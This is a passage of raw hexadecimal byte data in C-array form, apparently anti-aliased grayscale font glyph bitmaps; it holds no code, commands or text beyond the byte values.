0xFF, 0xFF, 0xFF, 0xFF, 0x81, 0x11, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0xBC,
0xFF, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF,
0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xFF, 0xFF, 0x50, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF, 0xDB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC0, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B,
0xFD, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF,
0xF5, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xF6, 0xFF, 0xFF, 0x99, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xCB, 0xFF, 0xFF, 0xFC, 0x2A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x06, 0x9A, 0xFF, 0xFF, 0xFF, 0xDA, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xC8,
0xFF, 0xFF, 0xFF, 0xEE, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xFF, 0xFF, 0xFF,
0xF3, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xE2, 0x38, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xB1, 0x12, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x71, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xCF, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x22, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x8C, 0xFF, 0xFF,
0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF,
0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x80, 0x9B,
0x9B, 0x9B, 0x9B, 0x9B, 0x9B, 0xA8, 0xFF, 0xFF, 0xE9, 0x00, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x00, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xE9, 0x00, 0xAD, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xC0, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF,
0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x22, 0xFF, 0xFF, 0xE9, 0x40, 0x82, 0x82, 0x82, 0x82, 0x82, 0x82, 0x82, 0x92, 0xFF, 0xFF,
0xE9, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x67, 0xCF, 0xCF, 0xCF, 0xCF, 0xCF, 0xCF,
0xCF, 0xD5, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xFF, 0xFF,
0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xBF, 0xC8, 0xB6, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xE4, 0xE4, 0x16, 0x4F, 0xB4, 0xB4, 0x63, 0x00, 0x00, 0x00,
0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF,
0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF,
0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00,
0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF,
0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF,
0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00,
0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF,
0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF,
0x8C, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00,
0x00, 0xF3, 0xFF, 0xFF, 0x18, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x01, 0xFC, 0xFF, 0xFF,
0x16, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x11, 0xFF, 0xFF, 0xFF, 0x06, 0x6F, 0xF4, 0xF4,
0x86, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3A, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF, 0xCB,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x06, 0xF4, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D,
0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xE2, 0xFF, 0xFF, 0xBF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x56, 0xFB, 0xFF, 0xFF, 0xDA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFC, 0xFF, 0xFF,
0xFD, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xFF, 0x89, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1E, 0xEE, 0xFF, 0x9C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x50, 0x8A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x93, 0x97, 0x97, 0x97,
0x97, 0x97, 0x97, 0x97, 0x97, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xBA,
0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x15,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF,
0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,
0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x29, 0x53, 0x53, 0x53, 0x53, 0x53, 0x53, 0x53,
0x53, 0xFF, 0xFF, 0xFF, 0x67, 0x53, 0x53, 0x53, 0x05, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x7E, 0xFE, 0xFE, 0xFE, 0xFE,
0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xF0, 0x09, 0x3B, 0x78, 0x78, 0x78,
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x2D, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x61, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x61, 0x38, 0x70, 0x70, 0x70,
0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x17, 0x26, 0x54, 0x54, 0x54,
0x35, 0x00, 0x00, 0x00, 0x35, 0xF3, 0xFF, 0xFF, 0xF2, 0x1B, 0x00, 0x00, 0x00, 0x43, 0xF8, 0xFF,
0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFC, 0xFF, 0xFF, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x62,
0xFF, 0xFF, 0xE3, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x72, 0xDC, 0xDC, 0x5E, 0x00, 0x00, 0x00, 0x00,
0x07, 0x10, 0x19, 0x22, 0x2B, 0x34, 0x3C, 0x45, 0x33, 0x00, 0x00, 0x72, 0xEC, 0xF5, 0xFD, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0x40, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x02, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x00, 0x22, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E,
0x6E, 0x6E, 0x97, 0xFF, 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x41, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4A, 0xFF, 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65,
0xFF, 0xFF, 0xD2, 0x00, 0x00, 0x67, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0x79, 0xBC, 0xFF,
0xFF, 0xB9, 0x00, 0x00, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x98, 0x00, 0x00, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x78,
0x00, 0x00, 0xB7, 0xD7, 0xD7, 0xD7, 0xD7, 0xD7, 0xD7, 0xD7, 0xD9, 0xFF, 0xFF, 0xFF, 0x57, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xF2, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD5, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xFF, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x31, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09,
0xC9, 0xFF, 0xFF, 0xEF, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xAB, 0xFF,
0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF,
0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xB9, 0xFF, 0xFF, 0xFF, 0xE8, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xF4, 0xFF, 0xFF, 0xFF, 0xFE, 0x4D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xFF, 0xE4, 0x44, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFB, 0xFF, 0xA8, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0F, 0x18, 0x18, 0x00, 0x00, 0x5D,
0xC2, 0xCB, 0xD5, 0xDE, 0xE8, 0xF2, 0xFB, 0xFF, 0xFF, 0xFF, 0xF6, 0x22, 0x00, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB8, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x37, 0x18, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x75, 0xFF, 0xFF, 0xED, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x49, 0x38, 0x00,
0x9A, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0xFF, 0xF8, 0x11, 0xEC, 0xFF,
0xFC, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xF8, 0xA8, 0xFF, 0xFF, 0xAB, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x30, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFD, 0xC9, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB4, 0xFF, 0xF8, 0x65, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF,
0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xFF, 0xF2, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xF9, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5E, 0xFF, 0xFF, 0xFC, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xEB, 0xFF,
0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFA, 0x27,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xE5, 0xFF, 0x6C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x93, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xF9, 0xFF, 0xD8, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xD4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03, 0xE1, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF,
0xFF, 0xEC, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xDE, 0xFF, 0xFF, 0x77, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xE7, 0x0A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x13, 0xEF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA6, 0xFF, 0xFF, 0xEF, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xF6, 0xFF, 0xFF, 0xFF, 0xE3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x15, 0xD7, 0xFF, 0xFF, 0xFF, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0xD2, 0xFF, 0xFF, 0xF0, 0xEC, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x13, 0xD1, 0xFF, 0xFF,
0xFE, 0x4D, 0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0xC9,
0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x06, 0xD3, 0xFF, 0x8B, 0x00, 0x00, 0xC9, 0xFF, 0xE3, 0x00,
0x00, 0x00, 0x00, 0x00, 0x35, 0x88, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xE3,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x53, 0x84, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x80, 0xA4, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x34, 0x34, 0x34,
0x34, 0xDF, 0xFF, 0xE1, 0x34, 0x34, 0x34, 0x2E, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5A, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xB9, 0x7F, 0xFF, 0xFF, 0xC1, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xC0, 0xFF, 0xFF, 0xB1,
0x7F, 0xFF, 0xFF, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xA9, 0x7F, 0xFF, 0xFF,
0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xFF, 0xFF, 0xA0, 0x7F, 0xFF, 0xFF, 0x2C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0x84, 0x7F, 0xFF, 0xFF, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x53, 0xFF, 0xFF, 0x63, 0x7F, 0xFF, 0xFF, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF,
0x42, 0x74, 0xFF, 0xFF, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0x21, 0x03, 0x19,
0x19, 0x04, 0x00, 0x00, 0x00, 0x00, 0x02, 0xF1, 0xFF, 0xF4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x31, 0xFF, 0xFF, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8C, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xF4, 0xFF, 0xFF,
0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xF3, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x19, 0xE0, 0xFF, 0xFF, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xCF, 0xFF,
0xFF, 0xFB, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF2, 0xFF, 0xFF, 0x61, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFE, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0x42,
0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x1A, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x67, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x67, 0x00, 0x00, 0x67, 0xA6, 0xA6, 0xA6, 0xF1, 0xFF, 0xEE, 0xA6, 0xA6, 0xA6, 0x43,
